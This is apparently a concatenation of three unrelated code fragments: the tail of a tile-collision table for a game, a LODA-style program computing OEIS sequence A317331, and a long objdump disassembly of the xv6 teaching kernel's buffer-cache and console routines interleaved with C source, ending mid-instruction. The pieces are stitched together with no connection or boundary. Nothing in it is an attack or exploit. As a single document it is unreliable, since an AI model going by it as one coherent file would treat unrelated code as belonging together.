FLOOR, WALL, FLOOR ; 1d tilecoll FLOOR, WALL, FLOOR, WALL ; 1e tilecoll WALL, WALL, WALL, WALL ; 1f tilecoll WALL, FLOOR, WALL, FLOOR ; 20 tilecoll WALL, WALL, FLOOR, FLOOR ; 21 tilecoll WALL, WALL, FLOOR, FLOOR ; 22 tilecoll WALL, WALL, FLOOR, FLOOR ; 23 tilecoll WALL, WALL, WALL, WALL ; 24 tilecoll FLOOR, WALL, FLOOR, WALL ; 25 tilecoll WALL, FLOOR, WALL, FLOOR ; 26 tilecoll WALL, WALL, WALL, WALL ; 27 tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 28 tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 29 tilecoll WALL, WALL, WALL, WALL ; 2a tilecoll WALL, WALL, WALL, WALL ; 2b tilecoll WALL, WALL, WALL, WALL ; 2c tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2d tilecoll ICE, ICE, ICE, FLOOR ; 2e tilecoll ICE, ICE, FLOOR, ICE ; 2f tilecoll WALL, FLOOR, FLOOR, FLOOR ; 30 tilecoll FLOOR, ICE, ICE, ICE ; 31 tilecoll ICE, FLOOR, ICE, ICE ; 32 tilecoll WALL, WALL, FLOOR, FLOOR ; 33 tilecoll WALL, WALL, FLOOR, FLOOR ; 34 tilecoll ICE, WALL, ICE, WALL ; 35 tilecoll WALL, ICE, WALL, ICE ; 36 tilecoll WALL, WALL, WALL, WALL ; 37 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 38 tilecoll ICE, ICE, ICE, ICE ; 39 tilecoll WALL, FLOOR, FLOOR, WALL ; 3a tilecoll WALL, FLOOR, FLOOR, FLOOR ; 3b tilecoll DOOR, DOOR, FLOOR, FLOOR ; 3c tilecoll WALL, FLOOR, WALL, FLOOR ; 3d tilecoll WALL, WALL, WALL, WALL ; 3e tilecoll WALL, WALL, WALL, WALL ; 3f
; A317331: Indices m for which A058304(m) = 1. ; Submitted by Jamie Morken(s2) ; 4,8,11,16,20,23,27,32,36,40,43,47,52,55,59,64,68,72,75,80,84,87,91,95,100,104,107,111,116,119,123,128,132,136,139,144,148,151,155,160,164,168,171,175,180,183,187,191,196,200,203,208,212,215,219,223,228,232,235,239,244,247,251,256,260,264,267,272,276,279,283,288,292,296,299,303,308,311,315,320,324,328,331,336,340,343,347,351,356,360,363,367,372,375,379,383,388,392,395,400 mul $0,2 add $0,1 mov $2,$0 seq $0,34947 ; Jacobi (or Kronecker) symbol (-1/n). mov $1,$0 mul $2,2 add $2,3 mul $2,2 add $1,$2 mov $0,$1 div $0,2 sub $0,1
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 50 2e 10 80 mov $0x80102e50,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx struct buf head; } bcache; void binit(void) { 80100049: 83 ec 0c sub $0xc,%esp struct buf *b; initlock(&bcache.lock, "bcache"); 8010004c: 68 20 73 10 80 push $0x80107320 80100051: 68 c0 b5 10 80 push $0x8010b5c0 80100056: e8 d5 44 00 00 call 80104530 <initlock> //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; 8010005b: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 80100062: fc 10 80 bcache.head.next = &bcache.head; 80100065: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 8010006c: fc 10 80 8010006f: 83 c4 10 add $0x10,%esp 80100072: ba bc fc 10 80 mov $0x8010fcbc,%edx 80100077: eb 09 jmp 80100082 <binit+0x42> 80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 c3 mov %eax,%ebx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); 80100082: 8d 43 0c lea 0xc(%ebx),%eax 80100085: 83 ec 08 sub $0x8,%esp //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ b->next = bcache.head.next; 80100088: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100092: 68 27 73 10 80 push $0x80107327 80100097: 50 push %eax 80100098: e8 63 43 00 00 call 80104400 <initsleeplock> bcache.head.next->prev = b; 8010009d: a1 10 fd 10 80 mov 0x8010fd10,%eax //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a2: 83 c4 10 add $0x10,%esp 801000a5: 89 da mov %ebx,%edx b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; 801000a7: 89 58 50 mov %ebx,0x50(%eax) //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; bcache.head.next = b; 801000b0: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000b6: 3d bc fc 10 80 cmp $0x8010fcbc,%eax 801000bb: 75 c3 jne 80100080 <binit+0x40> b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); bcache.head.next->prev = b; bcache.head.next = b; } } 801000bd: 8b 5d fc mov -0x4(%ebp),%ebx 801000c0: c9 leave 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 18 sub $0x18,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi 801000dc: 8b 7d 0c mov 0xc(%ebp),%edi static struct buf* bget(uint dev, uint blockno) { struct buf *b; acquire(&bcache.lock); 801000df: 68 c0 b5 10 80 push $0x8010b5c0 801000e4: e8 a7 45 00 00 call 80104690 <acquire> // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000e9: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000ef: 83 c4 10 add $0x10,%esp 801000f2: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f8: 75 11 jne 8010010b <bread+0x3b> 801000fa: eb 24 jmp 80100120 <bread+0x50> 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } // Not cached; recycle an unused buffer. // Even if refcnt==0, B_DIRTY indicates a buffer is in use // because log.c has modified it but not yet committed it. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 60 jmp 80100190 <bread+0xc0> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 55 je 80100190 <bread+0xc0> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: 83 ec 0c sub $0xc,%esp 8010015d: 68 c0 b5 10 80 push $0x8010b5c0 80100162: e8 d9 45 00 00 call 80104740 <release> acquiresleep(&b->lock); 80100167: 8d 43 0c lea 0xc(%ebx),%eax 8010016a: 89 04 24 mov %eax,(%esp) 8010016d: e8 ce 42 00 00 call 80104440 <acquiresleep> 80100172: 83 c4 10 add $0x10,%esp bread(uint dev, uint blockno) { struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100175: f6 03 02 testb $0x2,(%ebx) 80100178: 75 0c jne 80100186 <bread+0xb6> iderw(b); 8010017a: 83 ec 0c sub $0xc,%esp 8010017d: 53 push %ebx 8010017e: e8 5d 1f 00 00 call 801020e0 <iderw> 80100183: 83 c4 10 add $0x10,%esp } return b; } 80100186: 8d 65 f4 lea -0xc(%ebp),%esp 80100189: 89 d8 mov %ebx,%eax 8010018b: 5b pop %ebx 8010018c: 5e pop %esi 8010018d: 5f pop %edi 8010018e: 5d pop %ebp 8010018f: c3 ret release(&bcache.lock); acquiresleep(&b->lock); return b; } } panic("bget: no buffers"); 80100190: 83 ec 0c sub $0xc,%esp 80100193: 68 2e 73 10 80 push $0x8010732e 80100198: e8 d3 01 00 00 call 80100370 <panic> 8010019d: 8d 76 00 lea 0x0(%esi),%esi 801001a0 <bwrite>: } // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 10 sub $0x10,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 50 push %eax 801001ae: e8 2d 43 00 00 call 801044e0 <holdingsleep> 801001b3: 83 c4 10 add $0x10,%esp 801001b6: 85 c0 test %eax,%eax 801001b8: 74 0f je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001ba: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bd: 89 5d 08 mov %ebx,0x8(%ebp) } 801001c0: 8b 5d fc mov -0x4(%ebp),%ebx 801001c3: c9 leave bwrite(struct buf *b) { if(!holdingsleep(&b->lock)) panic("bwrite"); b->flags |= B_DIRTY; iderw(b); 801001c4: e9 17 1f 00 00 jmp 801020e0 <iderw> // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { if(!holdingsleep(&b->lock)) panic("bwrite"); 801001c9: 83 ec 0c sub $0xc,%esp 801001cc: 68 3f 73 10 80 push $0x8010733f 801001d1: e8 9a 01 00 00 call 80100370 <panic> 801001d6: 8d 76 00 lea 0x0(%esi),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001e8: 83 ec 0c sub $0xc,%esp 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 56 push %esi 801001ef: e8 ec 42 00 00 call 801044e0 <holdingsleep> 801001f4: 83 c4 10 add $0x10,%esp 801001f7: 85 c0 test %eax,%eax 801001f9: 74 66 je 80100261 <brelse+0x81> panic("brelse"); releasesleep(&b->lock); 801001fb: 83 ec 0c sub $0xc,%esp 801001fe: 56 push %esi 801001ff: e8 9c 42 00 00 call 801044a0 <releasesleep> acquire(&bcache.lock); 80100204: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010020b: e8 80 44 00 00 call 80104690 <acquire> b->refcnt--; 80100210: 8b 43 4c mov 0x4c(%ebx),%eax if (b->refcnt == 0) { 80100213: 83 c4 10 add $0x10,%esp panic("brelse"); releasesleep(&b->lock); acquire(&bcache.lock); b->refcnt--; 80100216: 83 e8 01 sub $0x1,%eax if (b->refcnt == 0) { 80100219: 85 c0 test %eax,%eax panic("brelse"); releasesleep(&b->lock); acquire(&bcache.lock); b->refcnt--; 8010021b: 89 43 4c mov %eax,0x4c(%ebx) if (b->refcnt == 0) { 8010021e: 75 2f jne 8010024f <brelse+0x6f> // no one is waiting for it. b->next->prev = b->prev; 80100220: 8b 43 54 mov 0x54(%ebx),%eax 80100223: 8b 53 50 mov 0x50(%ebx),%edx 80100226: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 80100229: 8b 43 50 mov 0x50(%ebx),%eax 8010022c: 8b 53 54 mov 0x54(%ebx),%edx 8010022f: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100232: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 80100237: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->refcnt--; if (b->refcnt == 0) { // no one is waiting for it. b->next->prev = b->prev; b->prev->next = b->next; b->next = bcache.head.next; 8010023e: 89 43 54 mov %eax,0x54(%ebx) b->prev = &bcache.head; bcache.head.next->prev = b; 80100241: a1 10 fd 10 80 mov 0x8010fd10,%eax 80100246: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 80100249: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 8010024f: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 80100256: 8d 65 f8 lea -0x8(%ebp),%esp 80100259: 5b pop %ebx 8010025a: 5e pop %esi 8010025b: 5d pop %ebp b->prev = &bcache.head; bcache.head.next->prev = b; bcache.head.next = b; } release(&bcache.lock); 8010025c: e9 df 44 00 00 jmp 80104740 <release> // Move to the head of the MRU list. void brelse(struct buf *b) { if(!holdingsleep(&b->lock)) panic("brelse"); 80100261: 83 ec 0c sub $0xc,%esp 80100264: 68 46 73 10 80 push $0x80107346 80100269: e8 02 01 00 00 call 80100370 <panic> 8010026e: 66 90 xchg %ax,%ax 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 28 sub $0x28,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 57 push %edi 80100280: e8 bb 14 00 00 call 80101740 <iunlock> target = n; acquire(&cons.lock); 80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028c: e8 ff 43 00 00 call 80104690 <acquire> while(n > 0){ 80100291: 8b 5d 10 mov 0x10(%ebp),%ebx 80100294: 83 c4 10 add $0x10,%esp 80100297: 31 c0 xor %eax,%eax 80100299: 85 db test %ebx,%ebx 8010029b: 0f 8e 9a 00 00 00 jle 8010033b <consoleread+0xcb> while(input.r == input.w){ 801002a1: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002a6: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002ac: 74 24 je 801002d2 <consoleread+0x62> 801002ae: eb 58 jmp 80100308 <consoleread+0x98> if(myproc()->killed){ release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b0: 83 ec 08 sub $0x8,%esp 801002b3: 68 20 a5 10 80 push $0x8010a520 801002b8: 68 a0 ff 10 80 push $0x8010ffa0 801002bd: e8 3e 3b 00 00 call 80103e00 <sleep> iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ while(input.r == input.w){ 801002c2: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002c7: 83 c4 10 add $0x10,%esp 801002ca: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002d0: 75 36 jne 80100308 <consoleread+0x98> if(myproc()->killed){ 801002d2: e8 d9 34 00 00 call 801037b0 <myproc> 801002d7: 8b 40 24 mov 0x24(%eax),%eax 801002da: 85 c0 test %eax,%eax 801002dc: 74 d2 je 801002b0 <consoleread+0x40> release(&cons.lock); 801002de: 83 ec 0c sub $0xc,%esp 801002e1: 68 20 a5 10 80 push $0x8010a520 801002e6: e8 55 44 00 00 call 80104740 <release> ilock(ip); 801002eb: 89 3c 24 mov %edi,(%esp) 801002ee: e8 6d 13 00 00 call 80101660 <ilock> return -1; 801002f3: 83 c4 10 add $0x10,%esp 801002f6: b8 ff ff ff ff mov $0xffffffff,%eax } release(&cons.lock); ilock(ip); return target - n; } 801002fb: 8d 65 f4 lea -0xc(%ebp),%esp 801002fe: 5b pop %ebx 801002ff: 5e pop %esi 80100300: 5f pop %edi 80100301: 5d pop %ebp 80100302: c3 ret 80100303: 90 nop 80100304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ilock(ip); return -1; } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; 80100308: 8d 50 01 lea 0x1(%eax),%edx 8010030b: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 80100311: 89 c2 mov %eax,%edx 80100313: 83 e2 7f and $0x7f,%edx 80100316: 0f be 92 20 ff 10 80 movsbl -0x7fef00e0(%edx),%edx if(c == C('D')){ // EOF 8010031d: 83 fa 04 cmp $0x4,%edx 80100320: 74 39 je 8010035b <consoleread+0xeb> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 80100322: 83 c6 01 add $0x1,%esi --n; 80100325: 83 eb 01 sub $0x1,%ebx if(c == '\n') 80100328: 83 fa 0a cmp $0xa,%edx // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 8010032b: 88 56 ff mov %dl,-0x1(%esi) --n; if(c == '\n') 8010032e: 74 35 je 80100365 <consoleread+0xf5> int c; iunlock(ip); target = n; acquire(&cons.lock); while(n > 0){ 80100330: 85 db test %ebx,%ebx 80100332: 0f 85 69 ff ff ff jne 801002a1 <consoleread+0x31> 80100338: 8b 45 10 mov 0x10(%ebp),%eax *dst++ = c; --n; if(c == '\n') break; } release(&cons.lock); 8010033b: 83 ec 0c sub $0xc,%esp 8010033e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100341: 68 20 a5 10 80 push $0x8010a520 80100346: e8 f5 43 00 00 call 80104740 <release> ilock(ip); 8010034b: 89 3c 24 mov %edi,(%esp) 8010034e: e8 0d 13 00 00 call 80101660 <ilock> return target - n; 80100353: 83 c4 10 add $0x10,%esp 80100356: 8b 45 e4 mov -0x1c(%ebp),%eax 80100359: eb a0 jmp 801002fb <consoleread+0x8b> } sleep(&input.r, &cons.lock); } c = input.buf[input.r++ % INPUT_BUF]; if(c == C('D')){ // EOF if(n < target){ 8010035b: 39 5d 10 cmp %ebx,0x10(%ebp) 8010035e: 76 05 jbe 80100365 <consoleread+0xf5> // Save ^D for next time, to make sure // caller gets a 0-byte result. input.r--; 80100360: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100365: 8b 45 10 mov 0x10(%ebp),%eax 80100368: 29 d8 sub %ebx,%eax 8010036a: eb cf jmp 8010033b <consoleread+0xcb> 8010036c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100370 <panic>: release(&cons.lock); } void panic(char *s) { 80100370: 55 push %ebp 80100371: 89 e5 mov %esp,%ebp 80100373: 56 push %esi 80100374: 53 push %ebx 80100375: 83 ec 30 sub $0x30,%esp } static inline void cli(void) { asm volatile("cli"); 80100378: fa cli int i; uint pcs[10]; cli(); cons.locking = 0; 80100379: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100380: 00 00 00 // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); 80100383: 8d 5d d0 lea -0x30(%ebp),%ebx 80100386: 8d 75 f8 lea -0x8(%ebp),%esi uint pcs[10]; cli(); cons.locking = 0; // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); 80100389: e8 52 23 00 00 call 801026e0 <lapicid> 8010038e: 83 ec 08 sub $0x8,%esp 80100391: 50 push %eax 80100392: 68 4d 73 10 80 push $0x8010734d 80100397: e8 c4 02 00 00 call 80100660 <cprintf> cprintf(s); 8010039c: 58 pop %eax 8010039d: ff 75 08 pushl 0x8(%ebp) 801003a0: e8 bb 02 00 00 call 80100660 <cprintf> cprintf("\n"); 801003a5: c7 04 24 63 7d 10 80 movl $0x80107d63,(%esp) 801003ac: e8 af 02 00 00 call 80100660 <cprintf> getcallerpcs(&s, pcs); 801003b1: 5a pop %edx 801003b2: 8d 45 08 lea 0x8(%ebp),%eax 801003b5: 59 pop %ecx 801003b6: 53 push %ebx 801003b7: 50 push %eax 801003b8: e8 93 41 00 00 call 80104550 <getcallerpcs> 801003bd: 83 c4 10 add $0x10,%esp for(i=0; i<10; i++) cprintf(" %p", pcs[i]); 801003c0: 83 ec 08 sub $0x8,%esp 801003c3: ff 33 pushl (%ebx) 801003c5: 83 c3 04 add $0x4,%ebx 801003c8: 68 61 73 10 80 push $0x80107361 801003cd: e8 8e 02 00 00 call 80100660 <cprintf> // use lapiccpunum so that we can call panic from mycpu() cprintf("lapicid %d: panic: ", lapicid()); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); for(i=0; i<10; i++) 801003d2: 83 c4 10 add $0x10,%esp 801003d5: 39 f3 cmp %esi,%ebx 801003d7: 75 e7 jne 801003c0 <panic+0x50> cprintf(" %p", pcs[i]); panicked = 1; // freeze other CPU 801003d9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003e0: 00 00 00 801003e3: eb fe jmp 801003e3 <panic+0x73> 801003e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801003e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801003f0 <consputc>: } void consputc(int c) { if(panicked){ 801003f0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003f6: 85 d2 test %edx,%edx 801003f8: 74 06 je 80100400 <consputc+0x10> 801003fa: fa cli 801003fb: eb fe jmp 801003fb <consputc+0xb> 801003fd: 8d 76 00 lea 0x0(%esi),%esi crt[pos] = ' ' | 0x0700; } void consputc(int c) { 80100400: 55 push %ebp 80100401: 89 e5 mov %esp,%ebp 80100403: 57 push %edi 80100404: 56 push %esi 80100405: 53 push %ebx 80100406: 89 c3 mov %eax,%ebx 80100408: 83 ec 0c sub $0xc,%esp cli(); for(;;) ; } if(c == BACKSPACE){ 8010040b: 3d 00 01 00 00 cmp $0x100,%eax 80100410: 0f 84 b8 00 00 00 je 801004ce <consputc+0xde> uartputc('\b'); uartputc(' '); uartputc('\b'); } else uartputc(c); 80100416: 83 ec 0c sub $0xc,%esp 80100419: 50 push %eax 8010041a: e8 b1 5a 00 00 call 80105ed0 <uartputc> 8010041f: 83 c4 10 add $0x10,%esp } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100422: bf d4 03 00 00 mov $0x3d4,%edi 80100427: b8 0e 00 00 00 mov $0xe,%eax 8010042c: 89 fa mov %edi,%edx 8010042e: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010042f: be d5 03 00 00 mov $0x3d5,%esi 80100434: 89 f2 mov %esi,%edx 80100436: ec in (%dx),%al { int pos; // Cursor position: col + 80*row. outb(CRTPORT, 14); pos = inb(CRTPORT+1) << 8; 80100437: 0f b6 c0 movzbl %al,%eax } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010043a: 89 fa mov %edi,%edx 8010043c: c1 e0 08 shl $0x8,%eax 8010043f: 89 c1 mov %eax,%ecx 80100441: b8 0f 00 00 00 mov $0xf,%eax 80100446: ee out %al,(%dx) static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100447: 89 f2 mov %esi,%edx 80100449: ec in (%dx),%al outb(CRTPORT, 15); pos |= inb(CRTPORT+1); 8010044a: 0f b6 c0 movzbl %al,%eax 8010044d: 09 c8 or %ecx,%eax if(c == '\n') 8010044f: 83 fb 0a cmp $0xa,%ebx 80100452: 0f 84 0b 01 00 00 je 80100563 <consputc+0x173> pos += 80 - pos%80; else if(c == BACKSPACE){ 80100458: 81 fb 00 01 00 00 cmp $0x100,%ebx 8010045e: 0f 84 e6 00 00 00 je 8010054a <consputc+0x15a> if(pos > 0) --pos; } else crt[pos++] = (c&0xff) | 0x0700; // black on white 80100464: 0f b6 d3 movzbl %bl,%edx 80100467: 8d 78 01 lea 0x1(%eax),%edi 8010046a: 80 ce 07 or $0x7,%dh 8010046d: 66 89 94 00 00 80 0b mov %dx,-0x7ff48000(%eax,%eax,1) 80100474: 80 if(pos < 0 || pos > 25*80) 80100475: 81 ff d0 07 00 00 cmp $0x7d0,%edi 8010047b: 0f 8f bc 00 00 00 jg 8010053d <consputc+0x14d> panic("pos under/overflow"); if((pos/80) >= 24){ // Scroll up. 80100481: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100487: 7f 6f jg 801004f8 <consputc+0x108> 80100489: 89 f8 mov %edi,%eax 8010048b: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx 80100492: 89 fb mov %edi,%ebx 80100494: c1 e8 08 shr $0x8,%eax 80100497: 89 c6 mov %eax,%esi } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100499: bf d4 03 00 00 mov $0x3d4,%edi 8010049e: b8 0e 00 00 00 mov $0xe,%eax 801004a3: 89 fa mov %edi,%edx 801004a5: ee out %al,(%dx) 801004a6: ba d5 03 00 00 mov $0x3d5,%edx 801004ab: 89 f0 mov %esi,%eax 801004ad: ee out %al,(%dx) 801004ae: b8 0f 00 00 00 mov $0xf,%eax 801004b3: 89 fa mov %edi,%edx 801004b5: ee out %al,(%dx) 801004b6: ba d5 03 00 00 mov $0x3d5,%edx 801004bb: 89 d8 mov %ebx,%eax 801004bd: ee out %al,(%dx) outb(CRTPORT, 14); outb(CRTPORT+1, pos>>8); outb(CRTPORT, 15); outb(CRTPORT+1, pos); crt[pos] = ' ' | 0x0700; 801004be: b8 20 07 00 00 mov $0x720,%eax 801004c3: 66 89 01 mov %ax,(%ecx) if(c == BACKSPACE){ uartputc('\b'); uartputc(' '); uartputc('\b'); } else uartputc(c); cgaputc(c); } 801004c6: 8d 65 f4 lea -0xc(%ebp),%esp 801004c9: 5b pop %ebx 801004ca: 5e pop %esi 801004cb: 5f pop %edi 801004cc: 5d pop %ebp 801004cd: c3 ret for(;;) ; } if(c == BACKSPACE){ uartputc('\b'); uartputc(' '); uartputc('\b'); 801004ce: 83 ec 0c sub $0xc,%esp 801004d1: 6a 08 push $0x8 801004d3: e8 f8 59 00 00 call 80105ed0 